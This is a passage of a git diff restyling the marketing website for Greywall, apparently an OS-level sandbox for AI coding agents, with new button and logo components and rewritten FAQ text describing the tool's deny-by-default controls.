The control layer around the agent should remain separate from the vendor providing the model. The boundary needs its own point of control.
|
||||||
the AI, for the same reason you shouldn't let a bank audit itself.
|
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
38
components/cta-button.tsx
Normal file
38
components/cta-button.tsx
Normal file
@@ -0,0 +1,38 @@
|
|||||||
|
import type { ReactNode } from 'react'
|
||||||
|
|
||||||
|
type CTAButtonProps = {
|
||||||
|
children: ReactNode
|
||||||
|
className?: string
|
||||||
|
type?: 'button' | 'submit'
|
||||||
|
href?: string
|
||||||
|
onClick?: () => void
|
||||||
|
disabled?: boolean
|
||||||
|
}
|
||||||
|
|
||||||
|
const baseClassName =
|
||||||
|
'bg-primary text-serif text-[12px] md:text-[15px] leading-[140%] tracking-[-0.02em] font-semibold flex items-center gap-2 text-white! px-4 py-3 rounded-md transition-all duration-150 shadow-md hover:shadow-lg'
|
||||||
|
|
||||||
|
export function CTAButton({
|
||||||
|
children,
|
||||||
|
className = '',
|
||||||
|
type = 'button',
|
||||||
|
href,
|
||||||
|
onClick,
|
||||||
|
disabled = false,
|
||||||
|
}: CTAButtonProps) {
|
||||||
|
const fullClassName = `${baseClassName} ${disabled ? 'cursor-not-allowed opacity-50' : ''} ${className}`.trim()
|
||||||
|
|
||||||
|
if (href) {
|
||||||
|
return (
|
||||||
|
<a href={href} className={fullClassName}>
|
||||||
|
{children}
|
||||||
|
</a>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
return (
|
||||||
|
<button type={type} onClick={onClick} disabled={disabled} className={fullClassName}>
|
||||||
|
{children}
|
||||||
|
</button>
|
||||||
|
)
|
||||||
|
}
|
||||||
@@ -1,43 +1,43 @@
|
|||||||
'use client'
|
'use client'
|
||||||
|
|
||||||
import { useState } from 'react'
|
import { useState } from 'react'
|
||||||
import { HelpCircle, ChevronDown } from 'lucide-react'
|
import { ChevronDown } from 'lucide-react'
|
||||||
|
|
||||||
const faqs = [
|
const faqs = [
|
||||||
{
|
{
|
||||||
question: 'What is Greywall?',
|
question: 'What is Greywall?',
|
||||||
answer:
|
answer:
|
||||||
'Greywall is a command-line tool that sandboxes AI coding agents. You wrap your agent in it — <code>greywall -- claude</code> — and it enforces a default-deny security policy at the kernel level. The agent can read and write your project files, but it cannot touch your SSH keys, read your .env, or make network calls you haven\'t approved. It works on Linux and macOS, requires no containers, and is open source under the Apache 2.0 license. The basic promise is modest: your AI assistant should not have more access to your computer than you would give a stranger at a coffee shop.',
|
'Greywall is a command-line tool for running AI agents inside a contained local boundary. Prefix the agent command with <code>greywall --</code> and Greywall applies deny-by-default controls for filesystem access, network access, and blocked commands at the OS layer. It works on Linux and macOS and is open source under Apache 2.0.',
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
question: 'How do I sandbox my AI coding agent?',
|
question: 'How do I sandbox my AI coding agent?',
|
||||||
answer:
|
answer:
|
||||||
'Install Greywall, then prefix your command: <code>greywall -- claude</code>, <code>greywall -- opencode</code>, or any other CLI agent. That is the whole process. Greywall operates at the OS level, so it does not need plugins, extensions, or agent-specific configuration. The agent launches inside a kernel-enforced sandbox and runs normally — it just cannot reach things you have not explicitly allowed. If you want to see what the agent is trying to access, open the GreyProxy dashboard.',
|
'Install Greywall, then prefix the command you already use: <code>greywall -- claude</code>, <code>greywall -- opencode</code>, or another local CLI agent. Greywall operates below the agent, so it does not need plugins or agent-specific configuration. If you want to inspect what the agent attempted, open the GreyProxy dashboard.',
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
question: 'How is Greywall different from running agents in Docker?',
|
question: 'How is Greywall different from running agents in Docker?',
|
||||||
answer:
|
answer:
|
||||||
'Containers were designed to ship software, not to babysit it. When you run an AI agent inside Docker, you get isolation, but you lose access to your local tools, editor integrations, and filesystem. Every dependency change means rebuilding an image. Greywall takes a different approach: the agent runs natively on your machine with full access to your toolchain, but the kernel enforces boundaries around what it can reach. Think of it as the difference between locking someone in a room versus letting them walk around the house with certain doors locked. You also get real-time visibility into what the agent is doing, which Docker does not offer.',
|
'Containers isolate software well, but they often separate the agent from the local toolchain and working copy you actually need. Greywall keeps the agent in the normal local environment while enforcing boundaries around what it can read, write, execute, or reach on the network. It also records denied operations and live requests, which a basic container setup does not provide by itself.',
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
question: 'Does Greywall work on macOS?',
|
question: 'Does Greywall work on macOS?',
|
||||||
answer:
|
answer:
|
||||||
'Yes. On macOS, Greywall uses Seatbelt — Apple\'s built-in kernel sandbox, the same one that constrains App Store applications. It generates a deny-by-default sandbox profile for each session, covering filesystem access, network connections, and IPC. Network traffic is routed through GreyProxy via environment variables. On Linux, there are more layers available (Bubblewrap, Landlock, Seccomp BPF, eBPF, and a TUN device for network capture), but the macOS implementation provides strong isolation using only built-in OS capabilities. No additional packages required.',
|
'Yes. On macOS, Greywall uses Seatbelt, Apple's built-in sandbox facility. It generates a deny-by-default profile per session for filesystem access, network connections, and IPC. Linux has more available layers, but the macOS path still provides strong local containment using built-in OS capabilities.',
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
question: 'Is Greywall open source?',
|
question: 'Is Greywall open source?',
|
||||||
answer:
|
answer:
|
||||||
'Yes. Apache 2.0 license, source code on <a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer">GitHub</a>. For a security tool, this is not a philosophical position so much as a practical necessity. You should be able to read the code that stands between an AI agent and your production credentials. Greywall is built by <a href="https://greyhaven.co" target="_blank" rel="noopener noreferrer">Greyhaven</a>, who use it in their own production deployments. As the saying goes — never trust a lock you cannot pick apart.',
|
'Yes. Greywall is released under Apache 2.0 and the source is available on <a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer">GitHub</a>. For a control layer, being able to inspect the implementation is a practical requirement. Greywall is built by <a href="https://greyhaven.co" target="_blank" rel="noopener noreferrer">Greyhaven</a> and used in production deployments.',
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
question: 'What kernel version does Linux require?',
|
question: 'What kernel version does Linux require?',
|
||||||
answer:
|
answer:
|
||||||
'The minimum is Linux 3.8 for namespace isolation via Bubblewrap. Landlock filesystem controls need 5.13. Seccomp BPF needs 3.5. eBPF monitoring needs 4.15. The network proxy works on any kernel. Greywall detects what your system supports at runtime and activates every available layer. If you are on a reasonably modern distribution — anything from the last few years — you will get all five layers. Run <code>greywall --linux-features</code> to see what is available. The tool degrades gracefully rather than refusing to start, which is a courtesy more software should extend.',
|
'Namespace isolation via Bubblewrap needs Linux 3.8. Landlock filesystem controls need 5.13. Seccomp BPF needs 3.5. eBPF monitoring needs 4.15. The network proxy works on any kernel. Greywall detects the features present on the host and enables the layers it can support. Run <code>greywall --linux-features</code> to inspect the result.',
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
question: 'Which AI agents does Greywall support?',
|
question: 'Which AI agents does Greywall support?',
|
||||||
answer:
|
answer:
|
||||||
'All of them. Claude Code, Codex, Cursor, Aider, Goose, Amp, Gemini CLI, Cline, OpenCode, Copilot — anything that runs as a process on your machine. Greywall does not need agent-specific configuration because it operates at the OS level, below the agent. The agent does not know it is sandboxed, which is, in a way, the whole point. It simply discovers that certain operations fail, adapts, and carries on with its work. Most of the time, this is exactly what you wanted it to do in the first place.',
|
'Greywall works with local CLI agents that run as normal processes on your machine: Claude Code, Codex, Cursor, Aider, Goose, Amp, Gemini CLI, Cline, OpenCode, Copilot, and similar tools. Because Greywall operates below the agent, support does not depend on vendor-specific integrations.',
|
||||||
},
|
},
|
||||||
]
|
]
|
||||||
|
|
||||||
@@ -93,13 +93,7 @@ export function FAQ() {
|
|||||||
<section className="py-24 px-4 sm:px-6 border-t border-border/30">
|
<section className="py-24 px-4 sm:px-6 border-t border-border/30">
|
||||||
<div className="mx-auto max-w-5xl">
|
<div className="mx-auto max-w-5xl">
|
||||||
<div className="max-w-2xl mb-12">
|
<div className="max-w-2xl mb-12">
|
||||||
<div className="flex items-center gap-2 mb-4">
|
<h2 className="title-serif text-[36px] md:text-[48px] leading-none">
|
||||||
<HelpCircle className="h-4 w-4 text-primary" />
|
|
||||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
|
||||||
Questions
|
|
||||||
</span>
|
|
||||||
</div>
|
|
||||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
|
||||||
Frequently asked.
|
Frequently asked.
|
||||||
</h2>
|
</h2>
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -1,21 +1,14 @@
|
|||||||
|
import { GreywallLogo } from './logo'
|
||||||
|
|
||||||
export function Footer() {
|
export function Footer() {
|
||||||
return (
|
return (
|
||||||
<footer className="py-12 px-6 border-t border-border/30">
|
<footer className="py-12 px-6 border-t border-border/30">
|
||||||
<div className="mx-auto max-w-5xl flex flex-col sm:flex-row items-center justify-between gap-4">
|
<div className="mx-auto flex w-full max-w-[1480px] flex-col items-center justify-between gap-4 sm:flex-row">
|
||||||
<div className="flex items-center gap-2">
|
<div className="flex items-center gap-2">
|
||||||
<svg viewBox="0 0 32 32" fill="none" className="h-4 w-4" xmlns="http://www.w3.org/2000/svg">
|
<GreywallLogo size="small" />
|
||||||
<path d="M16 2L4 7V15C4 22.18 9.11 28.79 16 30C22.89 28.79 28 22.18 28 15V7L16 2Z" fill="#D95E2A" />
|
<span className="text-sm text-muted-foreground font-sans">by Greyhaven</span>
|
||||||
<path d="M16 6L8 9.5V15C8 20.05 11.42 24.68 16 26C20.58 24.68 24 20.05 24 15V9.5L16 6Z" fill="#161614" />
|
|
||||||
<circle cx="16" cy="12" r="2" fill="#D95E2A" />
|
|
||||||
<circle cx="12" cy="17" r="1.5" fill="#D95E2A" />
|
|
||||||
<circle cx="20" cy="17" r="1.5" fill="#D95E2A" />
|
|
||||||
<circle cx="16" cy="21" r="1.5" fill="#D95E2A" />
|
|
||||||
<path d="M16 14V19.5M14 16L12.5 17M18 16L19.5 17" stroke="#D95E2A" strokeWidth="1" strokeLinecap="round" />
|
|
||||||
</svg>
|
|
||||||
<span className="font-serif font-semibold text-sm text-foreground">Greywall</span>
|
|
||||||
<span className="text-xs text-muted-foreground font-sans">by Greyhaven</span>
|
|
||||||
</div>
|
</div>
|
||||||
<div className="flex items-center gap-6 text-xs text-muted-foreground font-sans">
|
<div className="flex items-center gap-6 text-sm text-muted-foreground font-sans">
|
||||||
<a
|
<a
|
||||||
href="https://github.com/GreyhavenHQ/greywall"
|
href="https://github.com/GreyhavenHQ/greywall"
|
||||||
target="_blank"
|
target="_blank"
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
'use client'
|
'use client'
|
||||||
|
|
||||||
import { useState } from 'react'
|
import { useState } from 'react'
|
||||||
import { Download, Copy, Check } from 'lucide-react'
|
import { Copy, Check } from 'lucide-react'
|
||||||
|
|
||||||
const methods = [
|
const methods = [
|
||||||
{
|
{
|
||||||
@@ -44,7 +44,7 @@ function CodeBlock({ cmd, label }: { cmd: string; label: string }) {
|
|||||||
title="Copy to clipboard"
|
title="Copy to clipboard"
|
||||||
>
|
>
|
||||||
{copied ? (
|
{copied ? (
|
||||||
<Check className="h-4 w-4 text-primary" />
|
<Check className="h-4 w-4 text-muted-foreground" />
|
||||||
) : (
|
) : (
|
||||||
<Copy className="h-4 w-4" />
|
<Copy className="h-4 w-4" />
|
||||||
)}
|
)}
|
||||||
@@ -58,17 +58,11 @@ export function GettingStarted() {
|
|||||||
return (
|
return (
|
||||||
<section id="getting-started" className="py-24 px-4 sm:px-6 border-t border-border/30">
|
<section id="getting-started" className="py-24 px-4 sm:px-6 border-t border-border/30">
|
||||||
<div className="mx-auto max-w-5xl text-center">
|
<div className="mx-auto max-w-5xl text-center">
|
||||||
<div className="flex items-center justify-center gap-2 mb-4">
|
<h2 className="title-serif text-[36px] md:text-[48px] leading-none mb-4">
|
||||||
<Download className="h-4 w-4 text-primary" />
|
Start with the CLI.
|
||||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
|
||||||
Getting started
|
|
||||||
</span>
|
|
||||||
</div>
|
|
||||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
|
||||||
Install in one command.
|
|
||||||
</h2>
|
</h2>
|
||||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed mb-10">
|
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground mb-10">
|
||||||
Wrap any agent and it runs sandboxed.
|
Install Greywall, then prefix the agent command you already use.
|
||||||
</p>
|
</p>
|
||||||
|
|
||||||
<div className="mx-auto max-w-2xl text-left space-y-6">
|
<div className="mx-auto max-w-2xl text-left space-y-6">
|
||||||
|
|||||||
@@ -1,41 +1,71 @@
|
|||||||
export function Hero() {
|
import { BetaSignup } from './beta-signup'
|
||||||
return (
|
|
||||||
<section className="relative pt-24 sm:pt-32 pb-12 sm:pb-16 px-4 sm:px-6 overflow-hidden">
|
|
||||||
{/* Subtle background gradient */}
|
|
||||||
<div className="absolute inset-0 bg-[radial-gradient(ellipse_at_top,rgba(217,94,42,0.05)_0%,transparent_50%)]" />
|
|
||||||
{/* Grid pattern */}
|
|
||||||
<div
|
|
||||||
className="absolute inset-0 opacity-[0.03]"
|
|
||||||
style={{
|
|
||||||
backgroundImage:
|
|
||||||
'linear-gradient(rgba(249,249,247,1) 1px, transparent 1px), linear-gradient(90deg, rgba(249,249,247,1) 1px, transparent 1px)',
|
|
||||||
backgroundSize: '64px 64px',
|
|
||||||
}}
|
|
||||||
/>
|
|
||||||
|
|
||||||
<div className="relative mx-auto max-w-4xl text-center">
|
async function getStarCount(): Promise<string> {
|
||||||
<h1 className="font-serif text-4xl sm:text-5xl md:text-6xl font-semibold tracking-tight leading-[1.1] mb-6">
|
try {
|
||||||
<em className="italic text-primary">Greywall</em> your agent & let it cook.
|
const res = await fetch('https://api.github.com/repos/GreyhavenHQ/greywall', {
|
||||||
</h1>
|
next: { revalidate: 3600 },
|
||||||
<p className="text-lg text-muted-foreground leading-relaxed max-w-2xl mx-auto font-serif mb-6">
|
headers: { Accept: 'application/vnd.github+json' },
|
||||||
Container-free sandboxing with real-time observability & dynamic controls, for Linux & MacOS.
|
})
|
||||||
</p>
|
if (!res.ok) return '138 stars'
|
||||||
<div className="inline-flex items-center gap-2 flex-wrap justify-center">
|
const data = await res.json()
|
||||||
<a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer">
|
return typeof data.stargazers_count === 'number' ? `${data.stargazers_count} stars` : '138 stars'
|
||||||
<img src="https://img.shields.io/github/stars/GreyhavenHQ/greywall?style=flat&color=D95E2A&labelColor=161614&logo=github&logoColor=white" alt="GitHub stars" className="h-5" />
|
} catch {
|
||||||
</a>
|
return '138 stars'
|
||||||
<a href="https://github.com/GreyhavenHQ/greywall/blob/main/LICENSE" target="_blank" rel="noopener noreferrer">
|
}
|
||||||
<img src="https://img.shields.io/github/license/GreyhavenHQ/greywall?style=flat&color=D95E2A&labelColor=161614" alt="License" className="h-5" />
|
}
|
||||||
</a>
|
|
||||||
<a href="https://github.com/GreyhavenHQ/greywall/releases" target="_blank" rel="noopener noreferrer">
|
export async function Hero() {
|
||||||
<img src="https://img.shields.io/github/v/release/GreyhavenHQ/greywall?style=flat&color=D95E2A&labelColor=161614" alt="Latest release" className="h-5" />
|
const stars = await getStarCount()
|
||||||
</a>
|
const badges = [
|
||||||
<a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer">
|
{ href: 'https://github.com/GreyhavenHQ/greywall', label: 'GitHub', value: stars },
|
||||||
<img src="https://img.shields.io/github/go-mod/go-version/GreyhavenHQ/greywall?style=flat&color=D95E2A&labelColor=161614" alt="Go version" className="h-5" />
|
{ href: 'https://github.com/GreyhavenHQ/greywall/blob/main/LICENSE', label: 'License', value: 'Apache-2.0' },
|
||||||
</a>
|
{ href: 'https://github.com/GreyhavenHQ/greywall/releases', label: 'Release', value: 'v0.3.1' },
|
||||||
<a href="https://www.producthunt.com/products/greywall?launch=greywall" target="_blank" rel="noopener noreferrer">
|
{ href: 'https://github.com/GreyhavenHQ/greywall', label: 'Go', value: 'v1.25' },
|
||||||
<img src="https://img.shields.io/badge/Product%20Hunt-Greywall-D95E2A?style=flat&logo=producthunt&logoColor=white&labelColor=161614" alt="Product Hunt" className="h-5" />
|
{ href: 'https://www.producthunt.com/products/greywall?launch=greywall', label: 'Product Hunt', value: 'Greywall' },
|
||||||
</a>
|
]
|
||||||
|
return (
|
||||||
|
<section className="relative w-full px-4 pt-8 pb-6 sm:px-6 sm:pt-10 sm:pb-8">
|
||||||
|
<div className="relative z-10 mx-auto max-w-5xl text-center">
|
||||||
|
<div className="flex flex-col items-center gap-3">
|
||||||
|
<div className="w-full text-center">
|
||||||
|
<h1 className="title-serif mx-auto w-full max-w-[980px] text-[40px] leading-[1.0] tracking-normal font-semibold md:text-[72px]">
|
||||||
|
Contain and observe AI agents without friction.
|
||||||
|
</h1>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="text-center">
|
||||||
|
<p className="text-serif mx-auto max-w-[380px] text-[18px] leading-[1.2] font-semibold tracking-[-2.2%] text-greyhaven-grey7 md:max-w-[720px] md:text-[28px]">
|
||||||
|
Default-deny filesystem, network, and command controls around AI agents on Linux and macOS, with records of what they tried to do.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="mt-1 flex flex-wrap items-center justify-center gap-2">
|
||||||
|
{badges.map((badge) => (
|
||||||
|
<a
|
||||||
|
key={badge.label}
|
||||||
|
href={badge.href}
|
||||||
|
target="_blank"
|
||||||
|
rel="noopener noreferrer"
|
||||||
|
className="inline-flex items-center overflow-hidden rounded-md border border-border/60 bg-card/90 text-[13px] leading-none transition-colors hover:border-primary/30 md:text-[14px]"
|
||||||
|
>
|
||||||
|
<span className="bg-greyhaven-grey8 px-3 py-1.5 font-sans text-greyhaven-offwhite md:px-3.5 md:py-2">
|
||||||
|
{badge.label}
|
||||||
|
</span>
|
||||||
|
<span className="bg-primary px-3 py-1.5 font-sans text-primary-foreground md:px-3.5 md:py-2">
|
||||||
|
{badge.value}
|
||||||
|
</span>
|
||||||
|
</a>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<BetaSignup
|
||||||
|
subject="Greywall managed governance inquiry (hero)"
|
||||||
|
message="(hero governance CTA)"
|
||||||
|
inputClassName="w-56 rounded-md border border-border/40 bg-background/40 px-4 py-2.5 text-sm font-sans text-foreground placeholder:text-muted-foreground/60 transition-colors focus:border-primary/40 focus:outline-none sm:w-64"
|
||||||
|
submitClassName="px-4 py-2.5 font-sans text-sm font-medium md:text-sm"
|
||||||
|
helperTextClassName="text-xs text-muted-foreground/60 font-serif"
|
||||||
|
wrapperClassName="mt-2 flex flex-col items-center gap-1.5"
|
||||||
|
/>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</section>
|
</section>
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
'use client'
|
'use client'
|
||||||
|
|
||||||
import { Box, Lock, ShieldCheck, Eye, Wifi, Layers as LayersIcon, Shield, Terminal } from 'lucide-react'
|
import { Box, Lock, ShieldCheck, Eye, Wifi, Shield, Terminal } from 'lucide-react'
|
||||||
import { PlatformToggle, usePlatform } from './platform-toggle'
|
import { PlatformToggle, usePlatform } from './platform-toggle'
|
||||||
|
|
||||||
const linuxLayers = [
|
const linuxLayers = [
|
||||||
@@ -81,19 +81,16 @@ export function Layers() {
|
|||||||
<div className="mx-auto max-w-5xl">
|
<div className="mx-auto max-w-5xl">
|
||||||
<div className="flex flex-col sm:flex-row sm:items-end sm:justify-between gap-6 mb-16">
|
<div className="flex flex-col sm:flex-row sm:items-end sm:justify-between gap-6 mb-16">
|
||||||
<div className="max-w-2xl">
|
<div className="max-w-2xl">
|
||||||
<div className="flex items-center gap-2 mb-4">
|
<span className="text-serif text-[12px] font-bold uppercase tracking-[0.22em] text-primary mb-4 block">
|
||||||
<LayersIcon className="h-4 w-4 text-primary" />
|
Defense in depth
|
||||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
</span>
|
||||||
Defense in depth
|
<h2 className="title-serif text-[36px] md:text-[48px] leading-none mb-4">
|
||||||
</span>
|
|
||||||
</div>
|
|
||||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
|
||||||
{platform === 'linux' ? 'Five orthogonal security layers.' : 'Kernel-enforced on every call.'}
|
{platform === 'linux' ? 'Five orthogonal security layers.' : 'Kernel-enforced on every call.'}
|
||||||
</h2>
|
</h2>
|
||||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground">
|
||||||
{platform === 'linux'
|
{platform === 'linux'
|
||||||
? 'Each layer operates independently. A bug in one is caught by another. No single point of failure. Every constraint is enforced at the kernel level.'
|
? 'Each layer constrains a different part of the runtime. If one mechanism misses something, another can still catch it at the kernel boundary.'
|
||||||
: 'macOS Seatbelt enforces deny-by-default policies before any syscall completes. The sandbox profile is generated per-session with rules tailored to your project.'}
|
: 'macOS Seatbelt enforces deny-by-default rules before the call completes. The profile is generated per session from the project context you allow.'}
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
<PlatformToggle />
|
<PlatformToggle />
|
||||||
@@ -105,7 +102,7 @@ export function Layers() {
|
|||||||
key={layer.name}
|
key={layer.name}
|
||||||
className="layer-card group flex items-start gap-3 sm:gap-5 p-4 sm:p-5 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20"
|
className="layer-card group flex items-start gap-3 sm:gap-5 p-4 sm:p-5 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20"
|
||||||
>
|
>
|
||||||
<div className="shrink-0 flex items-center justify-center w-10 h-10 rounded-md bg-primary/10 text-primary">
|
<div className="shrink-0 flex items-center justify-center w-10 h-10 rounded-md bg-muted/30 text-foreground">
|
||||||
<layer.icon className="h-5 w-5" />
|
<layer.icon className="h-5 w-5" />
|
||||||
</div>
|
</div>
|
||||||
<div className="flex-1 min-w-0">
|
<div className="flex-1 min-w-0">
|
||||||
@@ -113,7 +110,7 @@ export function Layers() {
|
|||||||
<h3 className="font-sans font-semibold text-sm text-foreground">
|
<h3 className="font-sans font-semibold text-sm text-foreground">
|
||||||
{layer.name}
|
{layer.name}
|
||||||
</h3>
|
</h3>
|
||||||
<span className="px-2 py-0.5 rounded text-[10px] font-sans font-medium uppercase tracking-wider bg-primary/10 text-primary">
|
<span className="px-2 py-0.5 rounded text-[10px] font-sans font-medium uppercase tracking-wider bg-muted/30 text-muted-foreground">
|
||||||
{layer.tag}
|
{layer.tag}
|
||||||
</span>
|
</span>
|
||||||
</div>
|
</div>
|
||||||
@@ -135,22 +132,20 @@ export function Layers() {
|
|||||||
{platform === 'linux' ? (
|
{platform === 'linux' ? (
|
||||||
<>
|
<>
|
||||||
<span className="text-primary font-medium">Graceful degradation.</span>{' '}
|
<span className="text-primary font-medium">Graceful degradation.</span>{' '}
|
||||||
Greywall detects kernel features at runtime and activates every layer your system
|
Greywall checks the kernel features available on the host and enables the layers it can support. Run{' '}
|
||||||
supports. Run{' '}
|
|
||||||
<code className="font-mono text-xs text-foreground bg-card/50 px-1.5 py-0.5 rounded">
|
<code className="font-mono text-xs text-foreground bg-card/50 px-1.5 py-0.5 rounded">
|
||||||
greywall --linux-features
|
greywall --linux-features
|
||||||
</code>{' '}
|
</code>{' '}
|
||||||
to see what's available.
|
to inspect the active set.
|
||||||
</>
|
</>
|
||||||
) : (
|
) : (
|
||||||
<>
|
<>
|
||||||
<span className="text-primary font-medium">No dependencies.</span>{' '}
|
<span className="text-primary font-medium">No dependencies.</span>{' '}
|
||||||
macOS sandboxing uses only built-in OS capabilities. No packages to install.
|
macOS sandboxing uses the built-in system facilities. Run{' '}
|
||||||
Run{' '}
|
|
||||||
<code className="font-mono text-xs text-foreground bg-card/50 px-1.5 py-0.5 rounded">
|
<code className="font-mono text-xs text-foreground bg-card/50 px-1.5 py-0.5 rounded">
|
||||||
greywall check
|
greywall check
|
||||||
</code>{' '}
|
</code>{' '}
|
||||||
to verify your setup.
|
to verify the local setup.
|
||||||
</>
|
</>
|
||||||
)}
|
)}
|
||||||
</p>
|
</p>
|
||||||
|
|||||||
26
components/logo.tsx
Normal file
26
components/logo.tsx
Normal file
@@ -0,0 +1,26 @@
|
|||||||
|
import Image from 'next/image'
|
||||||
|
|
||||||
|
type GreywallLogoProps = {
|
||||||
|
className?: string
|
||||||
|
size?: 'default' | 'small'
|
||||||
|
}
|
||||||
|
|
||||||
|
const dimensions = {
|
||||||
|
default: { width: 285, height: 70 },
|
||||||
|
small: { width: 138, height: 40 },
|
||||||
|
}
|
||||||
|
|
||||||
|
export function GreywallLogo({ className = '', size = 'small' }: GreywallLogoProps) {
|
||||||
|
const { width, height } = dimensions[size]
|
||||||
|
|
||||||
|
return (
|
||||||
|
<Image
|
||||||
|
src="/greywall-logo.png"
|
||||||
|
alt="Greywall"
|
||||||
|
width={width}
|
||||||
|
height={height}
|
||||||
|
className={className}
|
||||||
|
priority
|
||||||
|
/>
|
||||||
|
)
|
||||||
|
}
|
||||||
@@ -1,44 +1,35 @@
|
|||||||
|
import { GreywallLogo } from './logo'
|
||||||
|
import { CTAButton } from './cta-button'
|
||||||
|
|
||||||
export function Nav() {
|
export function Nav() {
|
||||||
return (
|
return (
|
||||||
<nav className="fixed top-0 left-0 right-0 z-50 border-b border-border/50 bg-background/80 backdrop-blur-md">
|
<nav className="relative top-0 left-0 right-0 z-50 bg-[#ECECE8] border-b border-grey-3 w-full">
|
||||||
<div className="mx-auto max-w-5xl flex items-center justify-between px-6 h-14">
|
<div className="mx-auto flex h-16 w-full max-w-[1920px] items-center justify-between px-6">
|
||||||
<a href="#" className="flex items-center gap-2.5 group">
|
<a href="#" className="flex items-center gap-2.5 group">
|
||||||
{/* Greywall shield logo */}
|
<GreywallLogo size="small" />
|
||||||
<svg viewBox="0 0 32 32" fill="none" className="h-6 w-6" xmlns="http://www.w3.org/2000/svg">
|
|
||||||
<path d="M16 2L4 7V15C4 22.18 9.11 28.79 16 30C22.89 28.79 28 22.18 28 15V7L16 2Z" fill="#D95E2A" />
|
|
||||||
<path d="M16 6L8 9.5V15C8 20.05 11.42 24.68 16 26C20.58 24.68 24 20.05 24 15V9.5L16 6Z" fill="#161614" />
|
|
||||||
<circle cx="16" cy="12" r="2" fill="#D95E2A" />
|
|
||||||
<circle cx="12" cy="17" r="1.5" fill="#D95E2A" />
|
|
||||||
<circle cx="20" cy="17" r="1.5" fill="#D95E2A" />
|
|
||||||
<circle cx="16" cy="21" r="1.5" fill="#D95E2A" />
|
|
||||||
<path d="M16 14V19.5M14 16L12.5 17M18 16L19.5 17" stroke="#D95E2A" strokeWidth="1" strokeLinecap="round" />
|
|
||||||
</svg>
|
|
||||||
<span className="font-serif font-semibold text-lg tracking-tight text-foreground">
|
|
||||||
Greywall
|
|
||||||
</span>
|
|
||||||
</a>
|
</a>
|
||||||
<div className="flex items-center gap-6">
|
<div className="hidden md:flex items-center gap-6">
|
||||||
<a
|
<a
|
||||||
href="#features"
|
href="#features"
|
||||||
className="text-sm text-muted-foreground hover:text-foreground transition-colors hidden sm:block"
|
className="text-serif text-[15px] font-semibold text-grey-9 transition-opacity hover:opacity-70"
|
||||||
>
|
>
|
||||||
Features
|
Features
|
||||||
</a>
|
</a>
|
||||||
<a
|
<a
|
||||||
href="#comparison"
|
href="#comparison"
|
||||||
className="text-sm text-muted-foreground hover:text-foreground transition-colors hidden sm:block"
|
className="text-serif text-[15px] font-semibold text-grey-9 transition-opacity hover:opacity-70"
|
||||||
>
|
>
|
||||||
Compare
|
Compare
|
||||||
</a>
|
</a>
|
||||||
<a
|
<a
|
||||||
href="#about"
|
href="#about"
|
||||||
className="text-sm text-muted-foreground hover:text-foreground transition-colors hidden sm:block"
|
className="text-serif text-[15px] font-semibold text-grey-9 transition-opacity hover:opacity-70"
|
||||||
>
|
>
|
||||||
About
|
About
|
||||||
</a>
|
</a>
|
||||||
<a
|
<a
|
||||||
href="/greyscan"
|
href="/greyscan"
|
||||||
className="text-sm text-primary hover:text-primary/80 transition-colors hidden sm:block font-medium"
|
className="text-serif text-[15px] font-semibold text-primary"
|
||||||
>
|
>
|
||||||
Greyscan
|
Greyscan
|
||||||
</a>
|
</a>
|
||||||
@@ -46,7 +37,7 @@ export function Nav() {
|
|||||||
href="https://docs.greywall.io/"
|
href="https://docs.greywall.io/"
|
||||||
target="_blank"
|
target="_blank"
|
||||||
rel="noopener noreferrer"
|
rel="noopener noreferrer"
|
||||||
className="text-sm text-muted-foreground hover:text-foreground transition-colors hidden sm:block"
|
className="text-serif text-[15px] font-semibold text-grey-9 transition-opacity hover:opacity-70"
|
||||||
>
|
>
|
||||||
Docs
|
Docs
|
||||||
</a>
|
</a>
|
||||||
@@ -54,13 +45,18 @@ export function Nav() {
|
|||||||
href="https://github.com/GreyhavenHQ/greywall"
|
href="https://github.com/GreyhavenHQ/greywall"
|
||||||
target="_blank"
|
target="_blank"
|
||||||
rel="noopener noreferrer"
|
rel="noopener noreferrer"
|
||||||
className="text-sm text-muted-foreground hover:text-foreground transition-colors flex items-center gap-1.5"
|
className="flex items-center gap-1.5 text-serif text-[15px] font-semibold text-grey-9 transition-opacity hover:opacity-70"
|
||||||
>
|
>
|
||||||
<svg className="h-4 w-4" fill="currentColor" viewBox="0 0 24 24">
|
<svg className="h-4 w-4" fill="currentColor" viewBox="0 0 24 24">
|
||||||
